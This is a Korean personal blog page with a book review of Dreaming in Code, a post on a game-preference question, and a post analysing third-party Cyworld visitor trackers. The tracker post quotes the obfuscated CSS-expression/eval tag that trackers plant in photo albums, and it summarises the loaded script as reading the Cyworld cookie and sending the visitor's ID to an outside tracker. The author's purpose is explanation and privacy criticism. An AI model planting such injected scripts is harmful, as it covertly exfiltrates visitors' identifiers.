드리밍 인 코드

드리밍 인 코드

스콧 로젠버그 지음, 황대산 옮김 / 에이콘출판
나의 점수 : ★★★★

알파 버전을 공개합니다. 공개하겠습니다.
안되잖아. 어... 공개가 안돼. 공개시킬 수가 없어. 안돼.

요리사들도 훌륭하고, 모든 재료가 완벽한데도 절대 식사 시간까지 완성되지 않는 신기한 요리.
시간만 질질 끌다가 하루가 다 가고 야식 시간 즈음에 완성되어 나오면 맛이 없더라도 오오오 하고 찬사를 발할 수 밖에 없는 바로 그 요리. (물론 요리가 걸작이어서...가 아니라 어쨌거나 밥이 나왔다는 것이 너무 기뻐서-_-)

어째서 소프트웨어 개발팀이라는 주방에서는 언제나 그런 요리가 나오게 되는건지 궁금해 했던 날이 있었습니다.
우리는 그에 대한 대답으로 언제나 말하곤 했죠.

"아니 한참 소고기를 썰고 있는데,
지배인이 와서는 손님이 치킨 매니아라서 닭고기를 넣어야 한다는거야!
지배인이 저러는데 어쩔 수 없잖아?
그래서 지금 병아리 기르는 중이얌~
시장에선 닭을 안 팔더라궁. ㅠㅠ"

드리밍 인 코드는 챈들러라는 아웃룩 킬러(...를 노리는) 프로젝트가 진행되면서 발생한 여러가지 이슈들을 나름 시간 순으로 나열한, 연대기 같은 느낌의 책입니다.
연대기 '같은' 이라고 한 것은 연대기...이긴 한데 중간중간에 다른 업계 이야기도 나오고 소프트웨어 공학 전반에 걸친 이야기도 나오고, 하는 등의 두서 없는 전개가 이어지기 때문이죠.

지난 번의 '개떡'... 책도 그랬지만 이런 프로그래머의 에세이? 느낌의 개발론 류 책들은 어쩐지 챕터 서두는 간결한데 후반에는 주절대는 경향이 많은 것 같습니다. 그리고 이 책도 그 법칙에서 벗어나지 못하고 있다는 것은 좀 아쉬운 부분입니다. 공돌이 답게 요점만 간단히 적기 시작했는데 쓰고보니 원고량이 안되는거야, 그래서 유혹을 견디지 못하고 그만...!

내용 중간중간에 미주가 자주 붙어 있는데, 미주 가운데는 단순한 출처 만이 아닌 내용 자체를 부연 설명하는 경우도 꽤 있어서 미주 대신 각주로 달아주었더라면 더 읽기 좋았을텐데 하는(미주 표시 나올 때마다 책을 확 넘겼다 와야 한다-_-) 편집과 관련한 개인적인 유감(?)도 있었구요.

책 자체는 개발자들이 너무나도 공감할 만한, 그리고 위트 넘치는 내용과 문구로 가득하기 때문에, 그리고 번역도 깔끔하게 적당히 잘 된 덕분에 술술 넘어갑니다.

또 이 책의 저술 스타일도 마음에 드는데, 챈들러 프로젝트의 연대기가 철저한 3인칭 관찰자 시점에서 작성되었다는 부분입니다.
저자는 개인적으로 어떤 개발론을 지지한다는 것을 분명하게 표명하지 않고
그저 '이런 식으로 했더니 이렇게 망하고 저런 식으로 했더니 저렇게 망하더라. A는 이런 식이 좋다는 의견을, B는 이런 식이 좋다는 의견을 내놓았다.'라는 정도의 정리만 할 뿐이지,
'이렇게 해서 막장이 됐지만, 내 생각엔 이렇게 했더라면 잘 되지 않았을까 하는 아쉬움이...!?'
같은 종류의 의견까지는 제시하지는 않는 것이죠.

...그럴 의도는 아니었지만 아무리 생각해봐도 답이 안나와서 어쩔 수 없이 그랬을 수도 있지만. (-_-)

'난 이게 좋은거 같다,'하고 저자의 견해를 피력하는 여타의 개발서와는 달리, 그저 관찰자로서 개인적인 의견은 거의 밝히지 않는 형태로 내용을 평이하게 서술하는 효과로 인해, 독자가 독자 자신이 진행하고 있는 프로젝트를 투영시키면서 직접 생각해 볼 영역을 만들어줬다는 것이 너무나 마음에 듭니다.

그렇게 결코 성공했다, 고는 표현하기 힘든 챈들러 프로젝트의 삽질기를 쿠쿡 대면서 읽어가면서, 챈들러 프로젝트에 내가 진행하고 있는 프로젝트가 오버랩되면서 뜨끔 하는 느낌이 든다면 뭔가 일정이라든가 진행 방향 같은 것을 재정비해볼 수 있는 계기가 될 수도 있을테구요.

따라서 이미 아는 내용이겠지만 일반 개발자나 프로젝트 매니저들도 독파해 볼 만한 가치가 있다고 생각합니다, 아는 내용이 더 재밌으니까요.

왜 내가 만들라고 한 것이 이리도 지지부진한건지 궁금한 사장님들도 꼭 읽어보셔야 할 것 같아요.
사용된 용어도 대부분 잘 해설해주고 있는 편이고, 글의 난이도 또한 프로그래밍에 대해서 잘 모르더라도 이쪽 분야에 관심 있다면 그럭저럭 이해할 수 있는 수준이기 때문에, 불쌍한 개발자들을 이해하는데 약간이나마 도움이 되지 않을까나... 까나...


이 책에서 가르쳐주는 가장 중요한 사실은,
이 프로젝트를 진행하던 개발자들 대부분이 MS나 넷스케이프, 같은 곳에서 일한 경험이 있는 쟁쟁한 실력자들이었는데도
수시로 밥상이 뒤집어졌고 그에 따라 모두 일정을 못 맞추면서 허공에 삽질을 해대곤 했다는 것이죠.

따라서 그런 '쟁쟁한 실력자도 아닌 내가 일정을 못 맞추는 것 역시
당연한 일'이라는 것입니다.
아시겠죠 사장님? (쭃겨난다)


그래서... 쟁쟁한 실력자들이 뭉쳐 만든, 엄청난 개발기간이 소요된, 챈들러 프로젝트는 얼마나 잘 되었을까?
책을 읽고서 궁금해졌어요. 이 책 쓴 저자 아저씨도 잘 됐는지 모르겠으니 궁금하면 깔아 써보라고 했거든요.
어쩐지 깔아서 써봤어요.
뭐야 닭고기 요리라고 적어놓고 달걀 후라이를 내놨쟌!
(까지는 아니었지만서도 역시나~ 라는 느낌 -.-)

by nvu | 2009/04/16 02:38 | 트랙백 | 덧글(0)

싸이월드 방문자 추적기 이야기

싸이월드와는 적잖게 다른 경향이지만 일본의 SNS인 mixi는 대놓고 足あと/발자취 라는 페이지가 있습니다.
발자국. 그러니까 최근에 내 mixi에 찾아왔던 넘들의 기록을 뿌려주는거죠.

대략 저런 형태입니다.
그렇게 짝사랑하는 사람의 프로필/일기/사진첩을 봤다는 흔적을 남기지 않고 몰래 보고 싶어도 그렇게는 할 수 없고 상대방의 페이지를 방문한 순간 어쩔 수 없이 자신의 발도장을 찍게 되는 구조인거죠. (다른 계정을 만든다는지 하는 식의 우회에 대해 이야기하고 싶으신 분도 물론 계시겠지만, 어쨌거나 '어떤 종류의 사람이 언제 방문했다' 하는건 분명히 인지할 수 있도록 마련해 둔 것에 포인트를 두겠습니다)

싸이월드에서는 즐거운 미니 홈피 생활을 방해하는 악의 원흉으로 취급되고 있는, 방문자 추적기를 시스템적으로 대놓고 제공하고 있는 걸 볼 수 있어요.
어쨌든 덕분에 몰래 상대방의 페이지에 들어가서 상대방의 최근 뻘짓을 구경하는 재미를 어느정도 사전봉쇄해 주는 역할을 해주고 있습니다.


반대로 싸이월드의 경우에는 누가 언제 방문했다와 같은 종류의 통계는 제공하고 있지 않습니다.
정확히 어떤 종류의 이유 때문인지 모르겠지만, 그런 기록을 제공할 때 발생할 수 있는 미니홈피 방문자의 프라이버시라든가, 미니홈피니까 가능한 관음증 충족(...)이라든가 뭐 그런 이유가 아닐까라고 일단은 생각해둘까요?
그런 종류의 이야기를 하려는 것도 아니고요.

하지만 자신의 작은 집을 꾸미는 아가씨 입장에서는 도대체 어떤 넘이 내 미니홈피를 들락날락거리며 투데이 수를 올리고 있는 것일까 하는 것 또한 너무너무 궁금한게 사실입니다.
자신은 전혀 모르는 넘들이 당신 딸의 집에 찾아와서 사진첩 일기장 방명록 뒤적이면서 침 질질 흘리며 하악거리는걸 당신이라면 용서할 수 있을까요? -_- 당신 딸 집에 찾아오는 것도 용서가 안되는데 당신 자신의 집에 찾아오는 것은 더더욱 용서될리가 없잖아요.

그래서 제3자가 제작해 유료로 서비스하는 방문자 추적 프로그램(일종의 카운터라고 할 수도 있을 것 같네요)이 많은 각광을 받고 있습니다.

계속 예전부터 신경쓰였던 남자애가 있었는데요.
혹시나 싶어서 방문자 추적기를 깔게 되었는데.
아니나 다를까 매일같이 제 싸이를 들락거리는걸 확인했답니다.
역시 저에게 마음이 있다는 증거겠죠? ^^)
- 17세소녀 N모양의 사용후기

그렇게 싸이월드의 방문자 추적 프로그램은,
어장관리를 하시는 분들에게는 애완물고기 수를 통계내거나, 혹은 내 남친이 바람피고 있지는 않은지, 아니면 헤어졌지만 아직도 그 애가 날 그리워하는지 확인하기 위한 덫 식으로, 본래의 목적이 무엇이었든지 간에-_-남들과의 심리전에 매우 도움이 될듯한, 그런 유용한-_- 툴로서 자리매김하고 있습니다.

깊이 생각해보면 정말 무섭죠. 자주 남의 미니홈피 들락거리면 어느날 갑자기 자길 마음에 두고 있는 줄 알고 오해하는 일이 생길 수도 있다구요.
그러니까 찼으면 절대 그 넘 미니홈피 들어가지 마!! 어장관리 뻔한 것 같으면 들어가서 관심을 주지 말란 말야! 떡밥에 물리지 좀 말라고!!

사실 제가 이 글을 쓰게 된 것 역시 무심코 제 지인 미니홈피를 찾아다녀보던 중에 이 방문자 추적기(-_-)의 지뢰를 건드렸기 때문이었지요.
어쨌든 기왕 지뢰를 건드리게 된 김에 어떤 식으로 되어 있는지나 구경해보려고 합니다.

<P><div STYLE='background-color:expression((new &#102;unction(){if(fnGoNavHompy!=&#34;1&#34;){av=&#34;ev&#34;+&#34;al&#34;; window[av](&#34;&#100;ocument.getElementsByTagName(&#39;script&#39;)&#34;)[0].src=&#34;URL&#34;; fnGoNavHompy=&#34;1&#34;;}}));'></P>


사진첩에 매겨져있던 태그를 복붙해와 보았습니다.
아무튼 이런 식으로 추적기가 호스팅되고 있는 사이트의 자바스크립트를 호출하도록 하고 있네요.
이제 그럼 이 자바스크립트는 어떤 내용이 들어있나...

  if(document.cookie) {
    싸이월드쿠키에서유저TID추출해서추적기URL로넘겨주긔
 }

'나도 만들어보자, 싸이월드 방문자 추적기!' 이런 글이 아니니까 확 내용을 줄였습니다만. (-.-)
대략 저런 내용....이라는 거죠. 컴퓨터에 저장되어 있는 싸이월드 쿠키 데이터를 가공해서 추적기에 넘겨주는 겁니다.
사실 브라우저의 부실한 쿠키관련 보안 처리(다른 주소의 자바스크립트를 불러와서 그 주소의 자바스크립트가 이 주소의 이런저런 내용을 아무렇지 않게 읽어올 수 있도록 한 부분)가 문제의 원흉인 것 같기는 하네요.

그렇다면 쿠키 보안 설정을 좀 높게 잡으면 싸이월드의 유저 쿠키를 가지고 와서 방문한 유저의 TID를 빼낼 수 있을 리가 없겠죠? 하지만 다들 아시다시피 쿠키를 허용하지 않거나 쿠키 보안 설정을 너무 높게 잡아두면 싸이월드 뿐만 아니라 다른 웹서비스를 이용하는데도 굉장히 불편해집니다. 더군다나 한국에서는요.

그렇다면 '얘 미니홈피엔 추적기가 달려 있는거 같지만 착실히 로그아웃하고서 들어가면 추적 안되겠지?'라고 생각하고 계신 분 있으세요? 저도 그렇게 생각했던 시절이 있었어요.

하지만 천만에요. 로그아웃했던 바로 그 당신의 싸이월드 홈피 정보는 이미 고스란히 추적기에게 넘어갔답니다☆


싸이월드에 로그인했다가 로그아웃한 뒤의 쿠키 데이터입니다. 보라색으로 칠해둔 저 부분입니다. 제 미니홈피 고유ID가 고스란히 그대로 남아있는걸 볼 수 있지요. 로그인 되어 있어도, 로그아웃 되어 있어도 싸이월드 고유ID는 쿠키로 남아 쿠키값 읽고 싶소 하는 요청이 올경우 그 값을 돌려줄 준비를 하고 있다는 것입니다.

그럼 한번 걸린건 어쩔 수 없으니까, 이제 앞으로는 쿠키 데이터까지 수동으로 확실히 지우고서 방문하면 내가 누군지 걸리지 않겠지? 라고 생각할 수도 있겠지만, 안타깝게도 방문 추적기 페이지에 액세스한 순간 당신의 고유ID와 함께 IP 주소도 넘어가버렸다는 걸 잊지 말아주세요.

요즘 서비스되고 있는 일반적인 싸이월드 방문 추적기들은 각종 미니홈피에 설치되어 있는 넓은 유저층의 추적기를 통해 수집한 IP주소+고유ID 데이터들을 기반으로 IP주소만 가지고도 방문한 사람이 누구였을지 추측해주는 기능까지 제공합니다. 쿠키까지 모두 지웠다 하더라도 IP주소를 기반으로 당신이 누굴거라는 추측을 할 수 있다는 이야기입니다.
걸리고 싶지 않다면 앞으로는 쿠키 설정도 지우고 프록시를 이용해주세요.

하긴 방문자 추적 사이트로 연결되는 URL을 액세스되지 않도록 차단하면 되긴 합니다만, 방문자 추적 사이트들 종류가 한두개도 아니고... 싸이월드 측에서도 지속적인 단속을 하고 있어서인지 잠깐 사이트 폐쇄하고서 추적기의 IP나 주소 바꿔서 다시 오픈하기도 하는 식의 게릴라전도 펼치더라구요.
어휴 방문한거 걸리는거 무서워서 미니홈피 몰래 찾아갈 수 있겠나요. 싸이월드 유저 급감에 방문자 추적기도 한 몫 하지 않았을까 하는 음모론까지 제기하고 싶어질 지경입니다.

하지만 이런 식의 싸이월드 방문 추적기의 동작 방식은 최근에 구현된 것도 아닌지라, 근본적인 원인을 이미 파악했을텐데도 여전히 이런 식으로 로그아웃한 후에까지 고유ID를 쿠키에 눈에 띄게 남겨놓은 구조는 SKC가 혹시 방문 추적기 업체와 수익 분배라도 하고 있는거 아닌가 하는 괜한 의심을 사게 만드는 부분이기도 합니다.

그리고 로그아웃된 상태가 아니라 로그인되어 있는 상태라 하더도 접속자의 고유ID를 반출시켜서 그걸 이용해 맘대로 역추적하는 장난질을 할 수 있도록 할 여건을 만들어 둔 건 좀 그렇다고 생각합니다. 저보다 잘 아실 웹개발자분들께서 왜 그러셨을까요. 저렇게 쿠키에 생짜로 이것저것 담아두지 말고 세션을 쓴다든가 세션을 쓴다든가 세션을 쓴다든가... 같은건 어려웠을지요.

그렇게 할 베짱이 없다면 상단에 언급한 mixi의 경우처럼 아예 싸이월드에 로그인하지 않으면 미니홈피들을 볼 수 없게끔 하고서 누가 방문했는지 볼 수 있는 서비스를 제공하는 것이 차라리 낫지 않을까 싶은 생각이 들기도 합니다.

무슨 간첩잡기 게임도 아니고, 내가 아주 쪼~끔 관심 가진 여자애 미니홈피 한번 들어갈 때마다 추적기 깔려 있을까봐 ㄷㄷㄷ...해야 한다는건 쫌...ㅠㅅㅠ

by nvu | 2009/01/29 19:04 | 트랙백 | 덧글(15)

좋아하는 게임이 뭔가요?

종종 느끼는 것이지만 이런 취향 계열의 질문은 참 대답하기 어려운 것 같아.

슈퍼패미콤 시절의 슈퍼마리오월드(...) 이후로는 솔직히 뭐랄까 '너무 재밌다, 나 이거 좋아한다고 남들에게 자랑하고 싶다>ㅅ<' 싶었던 게임이 없었던 것도 큰 이유인 것 같고.

슈로대가 발매되면 3일 연차를 쓴다는 어떤 분 마냥 나도 이 게임 클리어를 위해 잠시 휴가 다녀오겠소 라고 할 수 있는 게임을 만날 수 있다면 참 좋을 것 같지만서도.

아무튼 이렇게 좋아하는 게임이 없다보니 요즘 무슨 게임 하나요, 라는 질문에도 멈칫하게 되...었다. -ㅅ-

리듬 게임? 도 나는 리듬 게임을 좋아했던 것이 아니라 리듬 게임읉 통해 접할 수 있었던 음악과 영상을 좋아했던 것 같고.
마비노기? 같은 게임도 뭐 하고는 있지만 딱히 재밌어서 하는 것 같지는 않고. 그저 MMO 하나는 하고 있어야할 것 같다는 의무감에 하는 것 같고.
동방 시리즈? 나이가 들어서인지 z키 누르는 것도 귀찮아. (어이)
야겜? 넵, 최근에 가장 마지막으로 플레이한 게임이 리버EX입니다.

리듬겜 좋아합니다 -> 우앗, 잘하시나바여 퍼포가능함?ㄷㄷ -> 구경만 좋아하는데여-_- -> ...
마비노기 좋아합니다 -> 일빠군요, 괜찮아여 전 라그도 했는걸
동방 시리즈 좋아합니다 -> 얼마나 잘하세여 -> 이지 모드로 막판 겨우 갑니다. -> 별로 열심히 안하셨네영
야겜 좋아합니다 -> 이넘 답이업ㅅ다
좋아하는 겜이 없습니다 -> 그럼 루리웹은 왜 매일 들락거려?

일종의 불감증? 같은 것일런지도 모르겠다 싶지만 또 그런 것도 아닌 것 같은게 일단 무슨 게임이든 켜면 10분~30분은 재밌게 하거든요. 하지만 일정 시간이 흐르면 약속이라도 한 듯 게임을 닫아버리는 나. 플레이 후 기억에 남는건 이 부분 허접하네 이 부분 괜찮네 이 부분 독특하네 같은 종류의 개인적 기준에 따른 임프레션 정도. 시식 코너에서 시식만으로 저녁을 해결하는 얌체 쇼핑족 간지가 흘러넘치는듯 합니다.

하지만 싫어하는 게임은 자신있게 말할 수 있다.
- FPS요. 제대로 멀미합니다. 게다가 상대방이 괴로워하며 쓰러지는 것이 너무 불쌍합니다. 아직도 가녀린 감수성 예민한 17세인 나. [..]
- 블리자드겜요. 이유는 없습니다. (?)

넵 뻘글이었습니다.
그런 의미에서 저 같은 넘이 오래 잡고 할만한 겜 좀 추천해주세요 굽실굽실.


또다른 의미에서, 취미/특기는 뭔가여, 와 같은 질문도 참 대답하기 어려운 것 같다.
무취미가 취미라고 대답하는 것도 참 그렇잖아요?
이야기 들어보면 맞선 볼 때 '취미가 게임입니다' 라고 대답해버리면
꼐임! 꼐임! 나이스 꼐임! 이라도 연상되는건지 매력 파라메터가 급락해버리더라고도 하고.

또다른 의미에서 님은 로리지온인가여 누님연맹인가여 라는 질문도 참 대답하기가...

by nvu | 2009/01/08 10:56 | 트랙백 | 덧글(4)

◀ 이전 페이지          다음 페이지 ▶